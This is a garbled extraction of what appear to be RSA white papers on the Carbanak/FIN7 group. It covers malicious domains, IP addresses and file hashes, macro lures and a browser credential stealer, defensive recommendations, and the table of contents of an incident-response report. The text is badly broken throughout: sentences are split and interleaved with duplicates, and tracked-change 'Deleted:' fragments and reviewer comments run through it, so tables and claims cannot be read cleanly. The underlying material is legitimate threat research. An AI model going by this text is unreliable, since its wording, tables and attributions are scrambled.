+Anunak Trojan
+Beacon
+Deleted: th
+The domain resolved to 89.45.14[.]207 on February 2nd, 2014. Pivoting on
+this
+IP address
+our research
+to a domain,
+resolved
+The domain
+resolvedled
+to 89.45.14[.]207
+on February
+2, 2014. brazilian-love[.]org,
+Pivoting on this IP addressthat
+led our
+research
+domain,
+brazilian-love[.]org,
+that
+resolved
+this
+between
+April
+2014,
+December
+5, 2014.
+to this IP between April 8th, 2014 and December 5th, 2014. This fit within
+This fit within our actor
+s timeframe of April to August 2014. The WHOIS information indicated that
+actor
+s timeframe of April to August 2014. The WHOIS information
+drake.lampado777@gmail.com registered this domain and 34 others in the same timeframe. Our"research"
+indicated
+that drake.lampado777@gmail.com registered this domain and 34
+indicates"
+Drake"Lampado
+"is"a"pseudonym.
+others in the same timeframe. Our research indicates 
+Drake Lampado
+is a pseudonym.
+Deleted:
+Research into these domains revealed that many of them were involved
+with common Crimeware campaigns, overlapping with some of the Hosting
+provider subnets used by Carbanak/Fin7 during the same time (Table 2).
+Note: the full, unobscured table is available in the Appendix.
+Rd Domain
+Malware
+Involved
+zaydo.website
+zaydo.space
+zaydo.co
+akkso-dob.in
+upatre
+downloader
+nikaka-ost.in
+skaoow-loyal.xyz
+akkso-dob.xyz
+upatre
+downloader
+maorkkk-grot.xyz
+upatre
+downloader
+skaoow-loyal.net
+nikaka-ost.xyz
+upatre
+downloader
+pasteronixca.com
+corebot
+pasteronixus.com
+corebot
+vincenzo-bardelli.com
+corebot
+marcello-bascioni.com
+corebot
+Links to Anunak
+Deleted:
+Deleted:
+Comment
+we"calling"o
+attack?"""
+Comment
+we"are"not"a
+Addedclarif
+WHITE PAPER
+namorushinoshi.com
+corebot
+chugumshimusona.com
+corebot
+wascodogamel.com
+corebot
+ppc-club.org
+corebot
+castello-casta.com
+carberp
+cameron-archibald.com
+carberp
+narko-cartel.com
+andromeda
+narko-dispanser.com
+andromeda
+dragonn-force.com
+Resolved between
+09/16/2015
+01/08/2016 to
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+Resolved between
+02/04/2015
+05/14/2016 to
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+[obscured].com
+gooip-kumar.com
+badur
+Resolved between
+02/05/2015
+04/17/2015 to
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+casas-curckos.com
+levetas-marin.com
+badur
+casting-cortell.com
+[obscured].net
+02/08/2015
+04/29/2016,
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+brazilian-love.org
+baltazar-btc.com
+road-to-dominikana.biz
+corebot
+ihave5kbtc.org
+andromeda
+ihave5kbtc.biz
+andromeda
+critical-damage333.org
+Table 2: Links to Anunak/Sekur Malware
+WHITE PAPER
+The linked IP address, 91.194.254[.]207, is registered to dimeline.eu, a
+European
+sports
+betting
+site that
+owns the
+entire a91.194.254[.]0/23
+address Comment [DC29]: Is"the"
+The linked
+IP address,
+91.194.254[.]207,
+is registered
+to dimeline.eu,
+European sports betting site that
+criminals?"""Is"it"a"legitimate
+owns the entire
+space (Table
+3). 91.194.254[.]0/23 address space (Table 3).
+them"out?""
+Comment [e30]: It
+s"certa
+entire"link"between"these"ac
+crimeware"campaign.""The"I
+available"for"anyone"to"see.
+completely"invalidate"this"e
+content."
+Table 3: RIPETable
+WHOIS
+Information
+for 91.194.254.0/24
+3: RIPE WHOIS
+Information for 91.194.254.0/24
+As"noted"above,"many"of"the"samples"analyzed"also"had"domains"resolving"to"this"network"space"
+As noted
+above, many of the samples analyzed also had domains resolving to
+(91.194.254/23)"during"the"2014O2015"time"period."Table"4"details"the"dimeline.eu"IP"addresses"of"these"
+domains,"which"were"registered"in"such"a"way"as"to"better"blend"in"with"common"traffic."
+this network
+space (91.194.254/23) during the 2014-2015 time period. TableDeleted: ".
+Deleted: Many of the samp
+Domain
+IP Address
+Date
+4 details
+the dimeline.eu IP addresses
+of these domains.
+These domains are resolving to this network du
+akamai-technologies.org
+91.194.254.246
+2/26/2014
+often referred
+to as lookalike
+domains as they are registered
+in such a way as Deleted: period (Table 4).
+adventureseller.com
+91.194.254.39
+8/25/2014
+androidn.net
+91.194.254.39
+7/3/2014
+to mimic
+other trusted or innocent
+domains in an attempt
+to go unnoticed.
+travel-maps.info
+91.194.254.38
+7/4/2014
+glonass-map.com
+datsun-auto.com
+Domain
+di-led.com
+coral-trevel.com
+akamai-technologies.org
+comixed.org
+publics-dns.com
+adventureseller.com
+publics-dns.com
+91.194.254.37
+91.194.254.38
+91.194.254.38
+91.194.254.92
+91.194.254.246
+91.194.254.90
+91.194.254.93
+91.194.254.39
+91.194.254.94
+IP Address
+7/17/2014
+7/22/2014
+8/4/2014
+10/20/2014
+2/26/2014
+10/24/2014
+2/25/2015
+8/25/2014
+2/25/2015
+Date
+Table 4: Overlaps with Anunak Infrastructure
+androidn.net
+91.194.254.39
+7/3/2014
+There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a
+user named btcshop. This person claimed to be selling the Corebot source code, but was not the author,
+travel-maps.info
+91.194.254.38
+7/4/2014
+and linked to a google+ account for a Drake Lampado. A single post by this person was posted on
+October 11, 2013. An article explaining the link is here.
+glonass-map.com
+91.194.254.37
+7/17/2014
+datsun-auto.com
+91.194.254.38
+7/22/2014
+di-led.com
+91.194.254.38
+8/4/2014
+coral-trevel.com
+91.194.254.92
+10/20/2014
+comixed.org
+91.194.254.90
+10/24/2014
+publics-dns.com
+91.194.254.93
+2/25/2015
+publics-dns.com
+91.194.254.94
+2/25/2015
+Table 4: Overlaps with Anunak Infrastructure
+There is also a link to a Corebot campaign with attempts to sell Corebot
+source code on btcshop.cc by a user named btcshop. This person claimed
+to be selling the Corebot source code, but was not the author, and linked to
+a google+ account for a Drake Lampado. A single post by this person was
+posted on October 11, 2013. An article explaining the link is here.
+Deleted:
+Deleted:
+Comment [DC34]: Not"su
+individuals.""If"we"are"incorr
+Comment [TJ35R34]: Ac
+however,"as"noted"above,"D
+Deleted: th
+Deleted:
+WHITE PAPER
+These indirect links are not a smoking gun and may be coincidental. The
+Dimeline network may have been vulnerable with many different groups/
+actors using its infrastructure to host their malware. Differences in TTP also
+These indirect links are not a smoking gun and may be coincidental. The Dimeline network may have
+exist. For example, the Carbanak/FIN7 group used more than one of their
+been vulnerable with many different groups/actors using its infrastructure to host their malware.
+external IP
+addresses
+C2 the
+applications,
+only
+Differences
+in TTP
+also exist.to
+Forhost
+example,
+Carbanak/FIN7while
+group we
+usedwere
+more than
+oneable
+of their
+external
+addresses
+host
+applications,
+while
+were
+only
+able
+verify
+single
+address
+verify a single IP address hosting Corebot by the Drake Lampado actor.
+Deleted:
+Deleted:
+Deleted:
+hosting Corebot by the Drake Lampado actor.
+Deleted: F
+That being said, it remains a possibility that the Carbanak/FIN7 actors run
+That being said, it remains a possibility that the Carbanak/FIN7 actors run side campaigns, in addition to
+sideAPT-style
+campaigns,
+inon
+addition
+to their
+APT-style
+on the industrial
+their
+attacks,
+the industrial
+verticals
+dealing withattacks,
+financial information
+of interest.
+Deleted: F
+Deleted: A
+verticals dealing with financial information of interest.
+5. CURRENT
+ACTIVITY
+5.!Current
+Activity
+Recently there have been reports of weaponized DOCX and RTF files using
+Recently
+there embedded
+have been reports
+of weaponized
+DOCXVisual
+and RTF
+files using
+embedded
+JavaScript
+in macros
+to drop
+Basic
+and JavaScript
+PowerShell
+payloads
+macros to drop Visual Basic and PowerShell payloads (Figure 38). These lures allow Carbanak/FIN7 to
+(Figure 38). These lures allow Carbanak/FIN7 to gain a foothold in a targeted
+gain a foothold in a targeted network and move laterally to find financial data.
+Deleted:
+Deleted: F
+network and move laterally to find financial data.
+Figure 38: Weaponized DOCX and RTF Lures
+Figure'38:'Weaponized'DOCX'and'RTF'Lures'
+The many layers of string splitting and Base64 obfuscation in the lure
+document
+s VBA Macro reveal the Bateleur JavaScript backdoor (Figure 39).
+Along with this Trojan is the tinymet Trojan stub from Metasploit (Figure 40),
+as well as an encoded and compressed password-stealing DLL.
+WHITE PAPER
+The"many"layers"of"string"splitting"and"Base64"obfuscation"in"the"lure"document
+s"VBA"Macro"reveal"the"
+The"many"layers"of"string"splitting"and"Base64"obfuscation"in"the"lure"document
+s"VBA"Macro"reveal"the"
+Bateleur"JavaScript"backdoor"(Figure"39)."Along"with"this"Trojan"is"the"tinymet"Trojan"stub"from"
+Bateleur"JavaScript"backdoor"(Figure"39)."Along"with"this"Trojan"is"the"tinymet"Trojan"stub"from"
+Metasploit"(Figure"40),"as"well"as"an"encoded"and"compressed"passwordOstealing"DLL."
+Metasploit"(Figure"40),"as"well"as"an"encoded"and"compressed"passwordOstealing"DLL."
+Deleted: "
+Deleted: "
+Deleted: pa
+Deleted: pa
+Figure'39:'Bateleur'Machine'Enumeration'
+Figure 39:
+Bateleur Machine Enumeration
+Figure'39:'Bateleur'Machine'Enumeration'
+Figure'40:'Tinymet'Configuration'
+FIGURE 40:
+TINYMET CONFIGURATION
+Figure'40:'Tinymet'Configuration'
+Embedded#DLL#
+Embedded#DLL#
+File Name: stealer_component_refl.dll
+File
+Name: DLL
+stealer_component_refl.dll
+Embedded
+File Size: 24576 bytes
+File Size: 24576 bytes
+MD5:
+ddc9b71808be3a0e180e2befae4ff433
+MD5:
+ddc9b71808be3a0e180e2befae4ff433
+File Name: stealer_component_refl.dll
+SHA1:
+996db927eb4392660fac078f1b3b20306618f382
+SHA1:
+996db927eb4392660fac078f1b3b20306618f382
+Time:
+0x58993DE6
+Feb 07 03:24:22 2017 UTC]
+File
+Size:
+24576
+bytes [Tue
+PE Time:
+0x58993DE6
+[Tue Feb 07 03:24:22 2017 UTC]
+Sections (4):
+Sections
+(4):
+MD5:
+ddc9b71808be3a0e180e2befae4ff433
+Name
+Entropy MD5
+Name
+Entropy MD5
+.text 996db927eb4392660fac078f1b3b20306618f382
+6.05
+e741daf57eb00201f3e447ef2426142f
+SHA1:
+.text
+6.05
+e741daf57eb00201f3e447ef2426142f
+.rdata
+5ecb9eb63e8ace126f20de7d139dafe8
+.rdata
+5ecb9eb63e8ace126f20de7d139dafe8
+PE.data
+Time: 0x58993DE6
+[Tue Feb 07 03:24:22 2017 UTC]
+1.54
+732e6d3d7534da31f51b25506e52227a
+.data
+1.54
+732e6d3d7534da31f51b25506e52227a
+.reloc (4): 4.76
+9f01b74c1ae1c407eb148c6b13850d28"
+Sections
+.reloc
+4.76
+9f01b74c1ae1c407eb148c6b13850d28"
+Name Entropy MD5
+.text 6.05 e741daf57eb00201f3e447ef2426142f
+.rdata 4.3 5ecb9eb63e8ace126f20de7d139dafe8
+.data 1.54 732e6d3d7534da31f51b25506e52227a
+.reloc 4.76 9f01b74c1ae1c407eb148c6b13850d28
+The script, using Reflective DLL Injection, loads this payload into memory
+and executes it without first writing it to disk. When the DLL is executed it
+writes itself to the AppData\Local\Temp\ directory of the user profile in which
+it was executed. It then attempts to locate saved username and password
+locations from approximately ten different web browsers, as well as saved
+Outlook credentials. This is but one variant; other variants use a cobalt-strike
+stager in place of the tinymet backdoor. This blog post from Icebrg contains a
+spreadsheet with known IOC
+WHITE PAPER
+6. RECOMMENDATIONS
+The security lifecycle is the foundation for securing a network against
+external threats. But this foundation needs to be built upon and a culture of
+attention to detail, proactive monitoring and looking for blind spots. This can
+sometimes be tedious and seem unnecessary with the right mix of technology.
+RSA Incident Response has weighed in on the current situation, given they
+see the effectiveness of many different types of instrumentation and network
+layouts. The key takeaway from that post is for defenders to programmatically
+increase their visibility while decreasing a potential attacker
+s visibility and
+access to sensitive data in a continuous cycle. This shortens attacker dwell
+time when a breach occurs and limits exposure to financial loss.
+Preventing an intrusion cannot always be mitigated by thorough patching
+and good IT hygiene, though. In one case, these actors were able to exploit
+a vulnerability in an internet-facing web application. In this case, the
+organization had a good patching regimen for their application servers;
+however, the software was a package and one of the components had a
+vulnerability that the vendor had not patched. While the story could have
+ended there, it did not. The server was running a vulnerable Linux kernel,
+allowing for escalated privileges using CVE-2016-5195, the 
+Dirty COW
+copy-on-write vulnerability. The attackers quickly installed a backdoor SSH
+and SSHD binary, but soon discovered the Linux environment used key-based
+authentication. From here, the attackers abused the winbind service, which
+allows Windows Active Directory authentication on Linux hosts, to quickly
+pivot to the Windows environment and carry on with their mission.
+This is often the case with defense; planning is made more complicated once
+you consider zero-day exploits
+previously unknown vulnerabilities in existing
+software. There are, undoubtedly, many zero days yet to be discovered in
+today
+s commonly used software. So how is a defender to be effective with
+the complexity of modern networks and software? By assuming a breach is
+always underway. Hunt for indicators in network traffic and on hosts and look
+for blind spots in that monitoring. At a minimum, an organization should log
+privileged account usage remotely and know where credentials are stored.
+Carbanak/FIN7 relies on variants of the mimikatz password-dumping
+software. Active Directory software is a fantastic tool to centralize
+authentication and access control, as well as manage endpoints. This also
+benefits a potential attacker, often providing the proverbial 
+keys to the
+kingdom
+ and an abstracted map of the network. The simplest reconnaissance
+tool to be aware of is a Windows native utility, 
+net.exe.
+ More comprehensive
+frameworks exist in the Recon module for PowerSploit or the Situational
+Awareness module for PowerShell Empire.
+WHITE PAPER
+Proper segmentation of the network could have also prevented the incident
+described above. Had the DMZ of the internet-facing web hosts not had
+access to the internal network segments, this would not have happened. This
+can be taken a step further, segmenting financial data into its own network
+with even tighter access controls and visibility. The industrial verticals that
+use supervisory control and data acquisition (SCADA) networks to control
+machinery running the world (such as power grids) use this methodology to
+reduce their attack surface. If a corporate user is spear phished and a Trojan
+is installed, it should be physically impossible to access these resources. The
+same approach in storing and handling financial data should also be taken.
+Prevention is preferred, but in the modern threat environment, a security
+analyst must assume a breach is in progress and scrutinize the network
+accordingly. Active hunting in network traffic and endpoint behavior and
+artifacts should be a daily task. Apex predators in nature have finely tuned
+senses to hunt their prey; so should the modern security analyst.
+With the right people, process and technology, organizations should be
+able to detect these Trojans and movement throughout the network, with
+ease. If an organization is using the RSA NetWitness Suite, the parsers,
+methodologies and YARA signatures described in this paper offer wide
+coverage for this actor. While persistent, they have proven to not be
+advanced, using tools and tactics available to every level of penetration
+tester. That they are even successful and worth mentioning should
+tell us that, as an industry, we
+re still undergoing growing pains. With
+technological advancements coming at full speed, we need to be flexible in
+our understanding of the 
+what
+ and 
+re defending. We also need
+to be flexible in our understanding of the threats themselves, not make
+assumptions. No organization has the perfect security instrumentation and
+processes; it
+s an ongoing cycle.
+7. CONCLUSIONS
+The Carbanak/FIN7 syndicate has had an interesting history over the past fourplus years of observation. The syndicate began targeting Russian and European
+banking institutions, employing mules to run money from ATMs and direct
+transfers to bank accounts. When the first report emerged in 2015 and following
+the subsequent high-profile arrests, the group appeared to slow down and
+fragment into smaller sub-groups, possibly because members were arrested.
+The syndicate then appeared to return in force in 2016 with a diversified
+digital arsenal and target deck. Since reappearing, they have been observed in
+the financial, hospitality, retail, food service and other industrial verticals with
+easy access to financial data.
+Carbanak uses disclosed vulnerabilities in email exploits/lures, as well as
+direct attacks on infrastructure exposed to the internet, to gain an initial
+WHITE PAPER
+foothold. Once on a victim network, they possess an arsenal of postexploitation tools, allowing them to escalate privileges, proxy internally to
+firewalled segments, move laterally, conduct reconnaissance, and surveil
+individuals for information on the financial data systems. They are motivated
+and extremely persistent.
+APPENDIX
+Warning: The following table includes content some may find offensive.
+The data contained in this table is necessary for the proper protection of
+enterprises against this actor.
+Rd Domain
+Malware
+Involved
+Links to Anunak
+zaydo.website
+zaydo.space
+zaydo.co
+akkso-dob.in
+upatre
+downloader
+nikaka-ost.in
+skaoow-loyal.xyz
+akkso-dob.xyz
+upatre
+downloader
+maorkkk-grot.xyz
+upatre
+downloader
+skaoow-loyal.net
+nikaka-ost.xyz
+upatre
+downloader
+pasteronixca.com
+corebot
+pasteronixus.com
+corebot
+vincenzo-bardelli.com
+corebot
+marcello-bascioni.com
+corebot
+namorushinoshi.com
+corebot
+chugumshimusona.com
+corebot
+wascodogamel.com
+corebot
+ppc-club.org
+corebot
+Resolved between
+09/16/2015
+01/08/2016 to
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+WHITE PAPER
+castello-casta.com
+carberp
+cameron-archibald.com
+carberp
+narko-cartel.com
+andromeda
+narko-dispanser.com
+andromeda
+dragonn-force.com
+Resolved between
+02/04/2015
+05/14/2016 to
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+my-amateur-gals.com
+gooip-kumar.com
+badur
+Resolved between
+02/05/2015
+04/17/2015 to
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+casas-curckos.com
+levetas-marin.com
+badur
+casting-cortell.com
+ass-pussy-fucking.net
+02/08/2015
+04/29/2016,
+91.194.254.207 same subnet
+as advetureseller.com and
+others
+brazilian-love.org
+baltazar-btc.com
+road-to-dominikana.biz
+corebot
+ihave5kbtc.org
+andromeda
+ihave5kbtc.biz
+andromeda
+critical-damage333.org
+Table 2: Links to Anunak/Sekur Malware
+WHITE PAPER
+CONTENT AND LIABILITY DISCLAIMER This Research Paper is for general information purposes
+only, and should not be used as a substitute for consultation with professional advisors. RSA
+Security LLC, EMC Corporation, Dell, Inc. and their affiliates (collectively, 
+) have exercised
+reasonable care in the collecting, processing, and reporting of this information but have not
+independently verified, validated, or audited the data to verify the accuracy or completeness
+of the information. RSA shall not be responsible for any errors or omissions contained in this
+Research Paper, and reserves the right to make changes anytime without notice. Mention of
+non-RSA products or services is provided for informational purposes only and constitutes neither
+an endorsement nor a recommendation by RSA. All RSA and third-party information provided
+in this Research Paper is provided on an 
+as is
+ basis. RSA DISCLAIMS ALL WARRANTIES,
+EXPRESSED OR IMPLIED, WITH REGARD TO ANY INFORMATION (INCLUDING ANY
+SOFTWARE, PRODUCTS, OR SERVICES) PROVIDED IN THIS RESEARCH PAPER, INCLUDING
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE, AND NON-INFRINGEMENT. Some jurisdictions do not allow the exclusion of implied
+warranties, so the above exclusion may not apply to you. In no event shall RSA be liable for
+any damages whatsoever, and in particular RSA shall not be liable for direct, special, indirect,
+consequential, or incidental damages, or damages for lost profits, loss of revenue or loss of use,
+cost of replacement goods, loss or damage to data arising out of the use or inability to use any RSA
+website, any RSA product or service. This includes damages arising from use of or in reliance on
+the documents or information present in this Research Paper, even if RSA has been advised of the
+possibility of such damages.
+RSA and the RSA logo, are registered trademarks or trademarks of Dell Technologies in
+the United States and other countries. 
+ Copyright 2017 Dell Technologies. All rights reserved.
+Published in the USA. 10/17 White Paper H16817.
+RSA believes the information in this document is accurate as of its publication date.
+The information is subject to change without notice.
+WHITE PAPER
+THE SHADOWS OF GHOSTS
+INSIDE THE RESPONSE OF A UNIQUE
+CARBANAK INTRUSION
+BY: JACK WESLEY RILEY
+PRINCIPAL INCIDENT RESPONSE CONSULTANT
+WHITE PAPER
+TABLE OF CONTENTS
+1 GLOSSARY OF TERMS.......................................................................................... 1
+2 REPORT SUMMARY.............................................................................................. 2
+3 INTRUSION OVERVIEW....................................................................................... 7
+3.1 ANATOMY OF ATTACK............................................................................................. 7
+3.1.1 Phase 1: D+0............................................................................................................ 8
+3.1.2 Phase 2: D+0............................................................................................................ 8
+3.1.3 Phase 3: D+1 through D+3................................................................................... 9
+3.1.4 Phase 4: D+3 through D+25.............................................................................. 11
+3.1.5 Phase 5: D+25 through D+30........................................................................... 12
+3.1.6 Phase 6: D+30 through D+44........................................................................... 13
+3.2 DETECTION AND RESPONSE.............................................................................. 14
+4 INTRUSION DETAILS.......................................................................................... 17
+4.1 INITIAL COMPROMISE: APACHE STRUTS2................................................... 17
+4.2 LINUX COMPROMISE AND MALICIOUS FILES............................................ 17
+4.2.1 Dirty Cow Driver Script and Kre80r Proof of
+Concept Code.................................................................................................................. 17
+4.2.2 SSHDoor Client and Server................................................................................ 20
+4.2.3 AudiTunnel............................................................................................................ 22
+4.3 LINUX SECONDARY ATTACKER TOOLS................................................... 23
+4.3.1 Winexe.................................................................................................................... 23
+4.3.2 ALW (Advanced Log Wiper, 
+)......................................................................... 24
+4.3.3 PSCAN..................................................................................................................... 25
+4.4 WINDOWS COMPROMISE AND MALICIOUS FILES............................. 26
+4.4.1 GOTROJ Remote Access Trojan........................................................................ 26
+4.4.2 AudiTunnel (Windows Version)......................................................................... 29
+4.5 WINDOWS SECONDARY ATTACKER TOOLS.......................................... 30
+4.5.1 TINYP....................................................................................................................... 30
+4.5.2 WGET (UIAutomationCore.dll.bin)................................................................... 32
+4.5.3 PSCP (PuTTY Secure File Copy)......................................................................... 33
+4.5.4 Mimikatz Variant (32-bit, 64-bit)..................................................................... 33
+4.5.5 CCS........................................................................................................................... 34
+4.5.6 Infos.bmp................................................................................................................ 34
+4.5.7 PSCAN (Windows Version)................................................................................. 35
+4.6 DETECTION, TRACKING, AND RESPONSE.............................................. 35
+4.6.1 Network Visibility and Indicators..................................................................... 36
+4.6.2 Host Visibility and Indicators............................................................................. 42
+5 CONCLUSION...................................................................................................... 52
+6 INDICATORS OF COMPROMISE..................................................................... 54
+6.1 ATOMIC INDICATORS OF COMPROMISE........................................................ 54
+6.2 BEHAVIORAL INDICATORS OF COMPROMISE.............................................. 55
+7 DIGITAL APPENDIX............................................................................................ 56
+WHITE PAPER
+INDEX OF FIGURES
+Figure 1: Findings from Public and Open Source
+Research of Toolset Reference......................................................................................... 3
+Figure 2: Staged Overview of Engagement.................................................................. 7
+Figure 3: Perl Script Download from 95.215.46.116................................................ 8
+Figure 4: Metadata Showing 
+ Output, Actions,
+and Port Usage in IRC Traffic............................................................................................. 9
+Figure 5: Download of CVE-2016-5195 Exploit Code
+and Bash Script Driver.......................................................................................................... 9
+Figure 6: Download of Winexe via WGET to ALPHA............................................. 11
+Figure 7: Download of ALW and PSCAN from 95.215.46.116............................ 12
+Figure 8: AUDITUNNEL Download from 95.215.46.116...................................... 13
+Figure 9: Windows Toolset Download of WGET,
+TINYP, INFOS, CCS, MIMIKATZ, PSCP, and PSCAN............................................... 14
+Figure 10: Initial Finding of GOTROJ Communications
+with Suspect Meta............................................................................................................... 15
+Figure 11: Initial Finding of TINYP Lateral Movement.......................................... 15
+Figure 12: Contents of 
+1.sh
+ Dirty COW Shell Script............................................. 18
+Figure 13: Contents of 
+ Dirty COW Source Code.......................................... 19
+Figure 14: Observed Download of 1.sh and c0w from
+IP 185.61.148.145............................................................................................................... 19
+Figure 15: WGET Download of SSHDoor Binary ssh.............................................. 19
+Figure 16: RC4 Decrypted authorized_keys Entry
+and HTTP Format Strings................................................................................................. 20
+Figure 17: Credential Harvesting HTTP Request.................................................... 21
+Figure 18: Pre-Shared SSH Key Used by SSHDOOR.............................................. 21
+Figure 19: XOR 0x41 Traffic for AudiTunnel............................................................. 22
+Figure 20: Usage Message for WINEXE Binary........................................................ 24
+Figure 21: Usage Message for l Advanced Log Wiper............................................ 25
+Figure 22: Usage Message for PSCAN Port Scanning Tool................................... 26
+Figure 23: Example Usage of PSCAN Port Scanning Tool..................................... 26
+Figure 24: XOR Command Decryption Method....................................................... 27
+Figure 25: Annotated Encrypted Form of
+GOTROJ Communication................................................................................................. 28
+Figure 26: Annotated Decrypted Form of
+GOTROJ Communication................................................................................................. 28
+Figure 27: C2 IP Address in ASCII Strings of svcmd.exe........................................ 29
+WHITE PAPER
+Figure 28: XOR Byte Encryption Loop for Send and
+Receive Buffer...................................................................................................................... 30
+Figure 29: Sample Execution of TINYP v.0.7.7.4...................................................... 32
+Figure 30: WGET Renamed to UIAutomationCore.dll.bin................................... 33
+Figure 31: Download of TINYP Binary with
+UIAutomationCore.dll.bin................................................................................................ 33
+Figure 32: Example Execution and Usage Text of Windows
+Version of PSCAN................................................................................................................ 35
+Figure 33: Query Results for Malicious Tool Downloads...................................... 37
+Figure 34: Tunneled SSH Query Results..................................................................... 38
+Figure 35: AUDITUNNEL 
+Client Hello
+ Payload Detection and Meta............. 39
+Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic..... 40
+Figure 37: Identification of Windows Command Prompt in
+XOR 0xC0 Decrypted Payload........................................................................................ 40
+Figure 38: GOTROJ Beacon Meta From Digital Appendix Content................. 41
+Figure 39: Identification of GOTROJ HTTP #wget User-Agent......................... 41
+Figure 40: File Hash Mismatch and system/init.d Autostart
+in SSHDOOR Detection.................................................................................................... 43
+Figure 41: Malicious Binary Usage in Non-Standard Locations
+and Without Associated Packages................................................................................ 43
+Figure 42: IP Address, Port Switch, and Port Number in
+Program Arguments........................................................................................................... 44
+Figure 43: NetWitness Endpoint Request for All Files in
+Directory /usr/share/man/mann.................................................................................... 44
+Figure 44: Additional Findings via Mass File Download
+Request for Directory /usr/share/man/mann........................................................... 45
+Figure 45: C:\Windows\SysWOW64\zh-TW Working Directory,
+UIAutomationCore WGET Usage, and TINYP Download and Renaming.......... 46
+Figure 46: Instant IOCs Representing UIAutomationCore.dll.bin
+WGET Binary Activity....................................................................................................... 46
+Figure 47: TINYP Execution from Source (Red) and
+Target (Blue) Perspective................................................................................................. 47
+Figure 48: TINYP vs PSEXEC Service Binaries......................................................... 48
+Figure 49: TINYP vs PSEXEC 
+ Module Differences.............................................. 48
+Figure 50: cmd.exe Calling find.exe as a Piped Directory Listing Search........ 50
+Figure 51: qwinsta.exe Being Called by cmd.exe...................................................... 50
+Figure 52: Installation of GOTROJ RAT Via Windows Service........................... 51
+WHITE PAPER
+Figure 53: Deletion of GOTROJ Windows Service After Execution................. 51
+Figure 54: GOTROJ Process Executing and
+Network Connection Information................................................................................. 51
+Figure 55: C2 IP and Port Identification in Cursory Analysis via
+Endpoint Module Analyzer............................................................................................... 51
+INDEX OF TABLES
+Table 1: File Information for the SSHDOOR Client Binary
+(centos-repo.org)................................................................................................................. 21
+Table 2: File Information for the SSHDOOR Server Binary
+(centos-repo.org)................................................................................................................. 21
+Table 3: File Information for SSHDOOR Client Binary (slpar.org)..................... 22
+Table 4: File Information for SSHDOOR Server Binary (slpar.org).................... 22
+Table 5: File Information for AUDITUNNEL.............................................................. 23
+Table 6: File Information for WINEXE......................................................................... 24
+Table 7: Logs Modified by ALW Log Wiper.................................................................. 25
+Table 8: File Information for ALW.................................................................................. 25
+Table 9: File Information for PSCAN............................................................................ 26
+Table 10: Decoded Commands for GOTROJ Trojan............................................... 27
+Table 11: File Information for GOTROJ Version 1.................................................. 29
+Table 12: File Information for GOTROJ Version 2.................................................. 29
+Table 13: File Information for GOTROJ Version 3.................................................. 29
+Table 14: File Information for AUDITUNNEL (Windows Version).................... 30
+Table 15: TINYP Arguments and Functions............................................................... 31
+Table 16: File Information for TINYP v.0.7.6.2.......................................................... 32
+Table 17: File Information for TINYP v.0.7.7.4.......................................................... 32
+Table 18: File Information for WGET (UIAutomationCore.dll.bin).................... 33
+Table 19: File Information for PSCP.............................................................................. 33
+Table 20: File Information for MIMIKATZ Variant (32-bit).................................. 34
+Table 21: File Information for MIMIKATZ Variant (64-bit).................................. 34
+Table 22: File Information for CCS................................................................................ 34
+Table 23: File Information for INFOS........................................................................... 34
+Table 24: File Information for PSCAN (Windows Version)................................... 35
+Table 25: List of Commands Internal to the
+Windows Command Processor...................................................................................... 49
+Table 26: Cross-Platform Toolset Utilization............................................................ 52
+WHITE PAPER
+1. GLOSSARY OF TERMS
+ Actions-on-objective: Command execution, file interaction and other
+actions an attacker may take when interacting with compromised systems.
+ Lateral movement: The movement of a user session to a system within the
+network boundaries of an organization from a system also present within
+the same network boundary.
+ Internal reconnaissance: Obtaining initial or additional information about
+systems, users, login methods and network paths of systems internal to an
+organization
+s network.
+ Credential Harvesting: The acquisition and collection of initial or additional
+user account credentials for use in lateral movement.
+ Security event: An asset or system action, or communication, that diverges
+from regular operational activity in a way that the security posture of that
+asset becomes suspect.
+ Security incident: A security event or group of security events that have
+been confirmed, either singularly or in aggregate, as being malicious in intent.
+ Compromise: Unauthorized, unforeseen or unknown actions conducted on
+an informational asset that allows for direct and unauthorized access
+and interaction.
+ Intrusion: The direct and unauthorized access and interaction of a malicious
+actor with systems or assets internal to an organization
+s network.
+ Staging: The actions involved in occupying and preparing an internal
+system or asset to secure additional resources and ensure persistence of
+attacker ingress access.
+ Declaration: The point in time in which an organization confirms the
+presence of an attacker in an environment and initiates incident
+response procedures.
+ Indicator of Compromise (IOC): A behavior, pattern, network address,
+computed file hash or other system or network attribute that can be
+correlated to malicious activity.
+WHITE PAPER
+2. REPORT SUMMARY
+This report shares actionable threat intelligence and proven threat hunting
+and incident response methods used by the RSA Incident Response (IR) Team
+to successfully respond to an intrusion in early-to-mid 2017 by the threat
+actor group known as CARBANAK1, also known as FIN7. The methodology
+discussed in this report is designed, and has been tested, to be effective
+on several currently available security technologies. While the majority of
+examples shown in this document use the RSA NetWitness
+ Suite in their
+illustrations, the methodology, query logic, and behavioral indicators discussed
+can be used effectively with any security product providing the necessary
+visibility. The intrusion and response described in this paper highlight
+key behavioral tactics, techniques, and procedures (TTP) unique to this
+engagement, giving significant insight into the thought processes, preparation,
+and adaptive nature of actors within the CARBANAK threat actor group. This
+paper also illustrates the RSA Incident Response Team
+s Incident Response
+and Threat Hunting Methodology: an unorthodox, adaptive and highly
+effective methodology used to successfully detect, investigate, scope, track,
+contain, and ultimately expel these and many other advanced adversaries.
+Several intrusions associated with the CARBANAK actors have been reported
+within the last year, describing compromises of organizations within banking2,
+financial3, hospitality4, and restaurant verticals. However, they all describe a
+relatively equivalent progression, with only slight deviation in specific attacker
+actions. The intelligence surrounding recent CARBANAK incidents indicate that
+phishing attacks have been the group
+s primary method of initial compromise.
+After gaining access to a user system, the attackers move laterally throughout
+the environment, conduct internal reconnaissance, establish staging points and
+internal network paths, harvest credentials, and move towards their intended
+target. However, this intrusion began with a significantly higher level of privilege
+due to the exploitation of the Apache Struts vulnerability CVE-2017-5638 that
+allowed the attackers to quickly gain administrative access within the client
+Linux environment. The intrusion outlined in this report discusses a case that
+presented substantial challenges due to:
